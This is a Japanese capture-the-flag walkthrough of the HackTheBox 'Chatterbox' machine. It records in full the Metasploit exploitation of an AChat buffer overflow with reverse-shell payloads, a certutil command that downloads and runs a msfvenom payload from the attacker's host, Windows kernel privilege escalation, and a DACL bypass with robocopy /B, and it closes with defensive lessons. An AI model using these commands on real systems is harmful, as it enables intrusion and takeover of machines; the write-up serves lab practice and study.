HackTheBox: Chatterbox — 全実行コマンド・実行結果レポート
Nmap 全ポートスキャン
135/139/445/9255/9256
→
135/139/445/9255/9256
AChat 0.150 beta7
msf achat_bof (CVE-2025-34127)
→
msf achat_bof (CVE-2025-34127)
shell_reverse_tcp
meterpreterは即死、shellは生存
→
meterpreterは即死、shellは生存
certutil で安定版 EXE 配置
achat.exeの生死と独立
→
achat.exeの生死と独立
Alfred シェル取得
user.txt ✓
→
user.txt ✓
local_exploit_suggester
CVE-2019-0808 検出
→
CVE-2019-0808 検出
ntusermndragover → SYSTEM
(インパーソネーショントークンのみ)
→
(インパーソネーショントークンのみ)
migrate services.exe
本来のprimary token
→
本来のprimary token
robocopy /B
DACL明示拒否をバックアップ権限で回避
→
DACL明示拒否をバックアップ権限で回避
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
主要ポートスキャン
BASH
nmap -Pn -T4 --top-ports 200 10.129.62.97
RESULT
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown
ℹ️
典型的な Windows のポート構成のみで、目立った Web/DB サービスが無い。
top-200 に含まれない独自ポートが疑われるため全ポートスキャンに進む。
全ポートスキャン (1-65535)
BASH
nmap -Pn -p- -T4 --min-rate 3000 10.129.62.97
RESULT
PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 9255/tcp open mon 9256/tcp open unknown 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown
🚨
9255/9256 が独自サービス。 このマシン名 “Chatterbox” と
合わせ、既知の HTB Easy ボックスとして port 9256 の
AChat
チャットサーバー (Unicode SEH バッファオーバーフロー脆弱性) が濃厚と判断。
PHASE 2
AChat 0.150 beta7 の調査 — 脆弱性の特定
既知エクスプロイトの検索
BASH
searchsploit achat msfconsole -q -x "search achat; exit"
RESULT
Achat 0.150 beta7 - Remote Buffer Overflow | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (M... | windows/remote/36056.rb
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/achat_bof 2014-12-18 normal No Achat Unicode SEH Buffer Overflow
モジュール詳細の確認
BASH
msfconsole -q -x "use exploit/windows/misc/achat_bof; info -d; exit"
RESULT
Name: Achat Unicode SEH Buffer Overflow Basic options: RHOSTS yes ターゲットホスト RPORT 9256 yes The target port (UDP) Description: This module exploits a Unicode SEH buffer overflow in Achat. By sending a crafted message to the default port 9256/UDP, it's possible to overwrite the SEH handler. Even when the exploit is reliable, it depends on timing since there are two threads overflowing the stack at the same time. References: https://nvd.nist.gov/vuln/detail/CVE-2025-34127
⚠️
モジュール自身の説明に「2つのスレッドが同時にスタックをオーバーフロー
させるタイミング依存」と明記されている。実際、単発の
exploit
実行では成功率が低く、複数回のリトライが前提となる。
PHASE 3
ペイロード生存性の検証 — meterpreter は死に、shell は生き残る
1回目: windows/meterpreter/reverse_tcp — 即死
BASH (msfconsole リソーススクリプト)
use exploit/windows/misc/achat_bof set RHOSTS 10.129.62.97 set RPORT 9256 set LHOST 10.10.15.200 set LPORT 4444 set PAYLOAD windows/meterpreter/reverse_tcp exploit -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4444
[*] Sending stage (190534 bytes) to 10.129.62.97
[*] 10.129.62.97 - Meterpreter session 1 closed. Reason: Died
🚨
原因分析: meterpreter はリフレクティブ DLL インジェクション
方式で achat.exe 自身のプロセス内で直接実行されるため、
SEH オーバーフローで壊れた achat.exe が数秒後にクラッシュすると、
インジェクトされた meterpreter DLL も道連れで死ぬ。何度リトライしても
同じパターンで、平均生存時間は1秒未満だった。
2回目: windows/shell/reverse_tcp (ステージ型) — これも不安定
NOTE
windows/shell/reverse_tcp (ステージ型) に切り替えたところ、一度は "Command shell session 1 opened" のログまでは出たが、実際にコマンドを 送信しようとすると "Command shell session 1 is not valid and will be closed" となり使い物にならなかった。ステージ転送 (262バイトのエンコード 済みステージ) 自体に時間がかかり、その間に achat.exe 側の破損が進行して しまうためと考えられる。
3回目: windows/shell_reverse_tcp (単一ステージ・インライン) — 生存確認
BASH (生ソケットで直接受信して検証)
# リスナー nc -lnvp 4444 # 別ターミナル: 単一ステージ (ステージ転送の往復が無い) ペイロードで再攻撃 msfconsole -q -x " use exploit/windows/misc/achat_bof set RHOSTS 10.129.62.97; set RPORT 9256 set PAYLOAD windows/shell_reverse_tcp set LHOST 10.10.15.200; set LPORT 4444 set DisablePayloadHandler true exploit"
RESULT (nc 側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.62.97] 49217 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami chatterbox\alfred (この接続は約30秒間、複数コマンドを打ち込んでも生存し続けた)
✅
根本原因の特定:
windows/shell_reverse_tcp
(単一ステージ・インライン版) は CreateProcess("cmd.exe", ...)
で achat.exe とは別の独立した子プロセスを fork する。
親 (achat.exe) が後でクラッシュしても Windows のプロセスモデル上
子プロセスは孤児化するだけで生き続ける。これにより約30秒という
十分な作業時間を確保できた。
PHASE 4
エクスプロイト実行 & user.txt 取得
安定シェルから user.txt を直接取得
BASH (生ソケット自動化スクリプトで受信)
C:\Windows\system32>whoami chatterbox\alfred C:\Windows\system32>hostname Chatterbox C:\Windows\system32>dir /b C:\Users Administrator Alfred Public C:\Windows\system32>type "C:\Users\Alfred\Desktop\user.txt"
RESULT
8c43d49427009326110b744e5e5046d2
user.txt — chatterbox\alfred
8c43d49427009326110b744e5e5046d2
root.txt の試し読み — この時点ではまだ届かない
BASH
C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt"
RESULT
Access is denied.
ℹ️
Alfred は Administrators グループに属していない、通常ユーザー。
本格的な権限昇格が必要。
安定版 meterpreter への乗り換え (以降の権限昇格作業のため)
NOTE
achat.exe を都度エクスプロイトしてシェルを取り直すのは非効率かつ不安定 (30秒程度で接続が切れる)ため、この Alfred シェルから certutil で 自前ビルドの meterpreter EXE をダウンロード・実行し、achat.exe の生死と 無関係な独立セッションへ乗り換える。
BASH (Kali側)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.200 LPORT=5555 \ -f exe -o stable.exe python3 -m http.server 8000 # stable.exe を配信 msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.15.200; set LPORT 5555; set ExitOnSession false; exploit -j -z"
BASH (Alfredシェル側で実行させるコマンド)
certutil -urlcache -split -f http://10.10.15.200:8000/stable.exe C:\Windows\Temp\s.exe C:\Windows\Temp\s.exe
RESULT
[*] Sending stage (190534 bytes) to 10.129.62.97
[*] Meterpreter session 1 opened (10.10.15.200:5555 -> 10.129.62.97:49228)
(このセッションは achat.exe とは無関係な独立プロセスのため安定して持続)
PHASE 5
権限昇格の下調べ — local_exploit_suggester で CVE-2019-0808 を発見
whoami /priv — 目立った特権なし
BASH
C:\Windows\system32>whoami /priv
RESULT
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
⚠️
SeImpersonatePrivilege が無いため JuicyPotato 系のトークン
窃取テクニックは使えない。カーネル/OSレベルの脆弱性を探す方針に転換。
systeminfo でパッチレベルを確認
BASH
C:\Windows\system32>systeminfo | findstr /B /C:"OS Name" /C:"OS Version" C:\Windows\system32>wmic qfe get HotFixID
RESULT
OS Name: Microsoft Windows 7 Professional OS Version: 6.1.7601 Service Pack 1 Build 7601 (HotFixID一覧、最新は KB4054518 = 2018年1月前後のパッチが最後)
ℹ️
パッチが2018年初頭で止まっている=2018年以降に公開された Windows 7
ローカル権限昇格脆弱性が刺さる可能性が高い。
post/multi/recon/local_exploit_suggester の実行
BASH (msfconsole)
use post/multi/recon/local_exploit_suggester set SESSION 1 run
RESULT
[+] 10.129.62.97 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.129.62.97 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is
running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 10.129.62.97 - exploit/windows/local/ms10_092_schelevator: The service is running, but could
not be validated.
[+] 10.129.62.97 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be
vulnerable.
[+] 10.129.62.97 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could
not be validated.
[+] 10.129.62.97 - exploit/windows/local/ms16_016_webdav: The service is running, but could
not be validated.
[+] 10.129.62.97 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.129.62.97 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
🚨
候補が複数出たため優先度をつけて試行:
1)
2)
3)
1)
ms15_051_client_copy_image — 5回試したが全て
Exploit completed, but no session was created. で失敗
(既知の低信頼性エクスプロイト)。
2)
cve_2020_0787_bits_arbitrary_file_move — 実行すると
Target is running Windows, its not a version this module
supports! Bailing... で即座に非対応と判明。
3)
ntusermndragover (CVE-2019-0808)
— ターゲット定義が “Windows 7 x86” と完全一致し、
Check supported: Yes(実際にチェックメソッドを持つ)。
パッチ日は2019年3月で、本機のパッチ上限(2018年初頭)より後 → 採用。
PHASE 6
CVE-2019-0808 → SYSTEM → migrate → robocopy /B → root.txt
ntusermndragover の実行
BASH (msfconsole)
use exploit/windows/local/ntusermndragover set SESSION 1 set LHOST 10.10.15.200 set LPORT 6669 exploit
RESULT
[*] Started reverse TCP handler on 10.10.15.200:6669
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Reflectively injecting the exploit DLL and running the exploit...
[*] Launching msiexec to host the DLL...
[+] Process 17608 launched.
[*] Reflectively injecting the DLL into 17608...
[*] Sending stage (190534 bytes) to 10.129.62.97
[*] Meterpreter session 3 opened (10.10.15.200:6669 -> 10.129.62.97:49251)
getuid は SYSTEM だが、ファイル読み取りは拒否される
BASH (meterpreter)
meterpreter > getuid meterpreter > cat "C:\Users\Administrator\Desktop\root.txt"
RESULT
Server username: NT AUTHORITY\SYSTEM [-] core_channel_open: Operation failed: Access is denied.
🚨
ハマりポイント:
getuid は SYSTEM を報告する
のに、ファイルを開く操作 (core_channel_open) は拒否される。
shell コマンドで cmd.exe を起動しようとしても同じエラー。
これは CVE-2019-0808 が付与するトークンがインパーソネーション
止まり(サービスプロセス起動やチャネル生成に必要な primary
token ではない)ためと判明。
services.exe への migrate で本来の primary token を取得
BASH (meterpreter)
meterpreter > ps
RESULT (抜粋)
316 300 csrss.exe x86 0 NT AUTHORITY\SYSTEM
356 300 wininit.exe x86 0 NT AUTHORITY\SYSTEM
420 348 winlogon.exe x86 1 NT AUTHORITY\SYSTEM
456 356 services.exe x86 0 NT AUTHORITY\SYSTEM
464 356 lsass.exe x86 0 NT AUTHORITY\SYSTEM
BASH
meterpreter > migrate 456 meterpreter > shell C:\Windows\system32>whoami /priv
RESULT
[*] Migrating from 16948 to 456... [*] Migration completed successfully. nt authority\system SeTcbPrivilege Act as part of the operating system Enabled SeDebugPrivilege Debug programs Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled
ℹ️
services.exe(全 SYSTEM プロセスツリーの親)へ移動すると
特権の”種類”は大幅に増えるが、SeBackupPrivilege 等は
依然 Disabled(保持はしているが有効化されていない)。
それでも root.txt は読めない — 明示的 DENY ACL の確認
BASH
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt C:\Windows\system32>icacls C:\Users\Administrator\Desktop\root.txt C:\Windows\system32>cipher /c "C:\Users\Administrator\Desktop\root.txt"
RESULT
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt Access is denied. C:\Windows\system32>icacls C:\Users\Administrator\Desktop\root.txt C:\Users\Administrator\Desktop\root.txt: Access is denied. Successfully processed 0 files; Failed processing 1 files C:\Windows\system32>cipher /c "C:\Users\Administrator\Desktop\root.txt" Listing C:\Users\Administrator\Desktop\ New files added to this directory will not be encrypted. U root.txt
🚨
切り分け:
icacls 自体(ACL を”見る”だけの
操作)まで拒否される=真の SYSTEM primary token でも覆せない
明示的 DENY ACEが存在する。cipher /c の
結果 U(Unencrypted)なので EFS 暗号化ではない
——純粋な NTFS 権限の問題と確定。
robocopy /B でバックアップ・セマンティクスを使い DACL を迂回
NOTE
SeBackupPrivilege / SeRestorePrivilege はトークンに"存在"しているが 既定で Disabled。type や icacls のような一般コマンドはこれを自動で 有効化しない。しかし robocopy.exe は /B (バックアップモード) フラグを 渡すと、内部で AdjustTokenPrivileges を呼んでこれらの特権を自ら有効化し、 DACL を無視してファイルを読み書きする(Windows のバックアップ API の 標準的な設計)。これを利用して DACL 保護された root.txt を無保護な 一時フォルダへコピーする。
BASH
C:\Windows\system32>robocopy "C:\Users\Administrator\Desktop" C:\Windows\Temp root.txt /B
RESULT
Source : C:\Users\Administrator\Desktop\
Dest : C:\Windows\Temp\
Files : root.txt
Options : /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
1 C:\Users\Administrator\Desktop\
New File 34 root.txt 0% 100%
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Files : 1 1 0 0 0 0
Ended : ... (1 Copied, 0 Failed)
✅
DACL 迂回成功! robocopy が自動的に SeBackupPrivilege
を有効化してコピーを完遂した。あとは無保護な C:\Windows\Temp から
普通に読むだけ。
root.txt 取得
BASH
C:\Windows\system32>type C:\Windows\Temp\root.txt
RESULT
5bb4593333cfcbe806c40705fe69c9d0
root.txt — Administrator@chatterbox (via services.exe primary token)
5bb4593333cfcbe806c40705fe69c9d0
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — chatterbox\alfred
8c43d49427009326110b744e5e5046d2
root.txt — Administrator@chatterbox
5bb4593333cfcbe806c40705fe69c9d0
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2025-34127 | AChat 0.150 beta7 (ポート 9256) | リモートコード実行(一般ユーザー Alfred) | Critical | Unicode SEH バッファオーバーフロー。msf achat_bof。windows/shell_reverse_tcp (単一ステージ) が achat.exe の破損後も生き残る独立 cmd.exe を fork するため使用。 |
| CVE-2019-0808 | win32k.sys (NtUserMNDragOver NULL pointer dereference) | 権限昇格(SYSTEM、ただしインパーソネーショントークン) | Critical | msf exploit/windows/local/ntusermndragover。2019年3月パッチ済みだが 本機のホットフィックス上限(2018年初頭)には未適用で刺さる。 |
| DACL 明示 DENY + Backup特権迂回 | C:\Users\Administrator\Desktop\root.txt | SYSTEM (primary token) でも通常アクセス不可なファイルの読み取り | Medium | services.exe へ migrate して primary token を得た上で robocopy /B の自動特権昇格 (SeBackupPrivilege) で DACL を迂回。 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 135/139/445/9255/9256、AChatサービス発見 |
| 2 | 脆弱性調査 | searchsploit / msf search | exploit/windows/misc/achat_bof (CVE-2025-34127) 特定 |
| 3 | ペイロード検証 | meterpreter→shell/reverse_tcp→shell_reverse_tcp の試行錯誤 | 単一ステージ shell_reverse_tcp が achat.exe の生死と独立して生存すると判明 |
| 4 | エクスプロイト | achat_bof + certutil で安定版meterpreter配置 | user.txt 取得(chatterbox\alfred) |
| 5 | 権限調査 | whoami/priv、systeminfo、local_exploit_suggester | CVE-2019-0808 (ntusermndragover) が有効な候補と判明 |
| 6 | 権限昇格 | ntusermndragover → migrate services.exe → robocopy /B | root.txt 取得(DACL明示拒否をバックアップ特権で迂回) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 一般ユーザーが実行するデスクトップアプリ (AChat) にメモリ破壊脆弱性がありSEH保護が無効 | ASLR/DEP/SafeSEH を有効化してビルドする。ユーザーが任意の未検証チャットアプリを インストール・実行できないようアプリケーションホワイトリストを適用する。 |
| Windows 7 が2018年初頭以降の月例更新を適用されておらず、2019年公開の win32k カーネル脆弱性 (CVE-2019-0808) が有効なまま | WSUS/自動更新でカーネルパッチを継続的に適用する。サポート終了 OS (Windows 7) は速やかに移行する。 |
| root.txt に明示的 DENY ACL を設定していたが、robocopy /B のようなバックアップ API 経由のアクセスまでは防げていなかった | SeBackupPrivilege/SeRestorePrivilege の付与を必要最小限に絞る。 バックアップ操作の監査ログ (Sysmon 等) でファイルコピーを検知する。 |

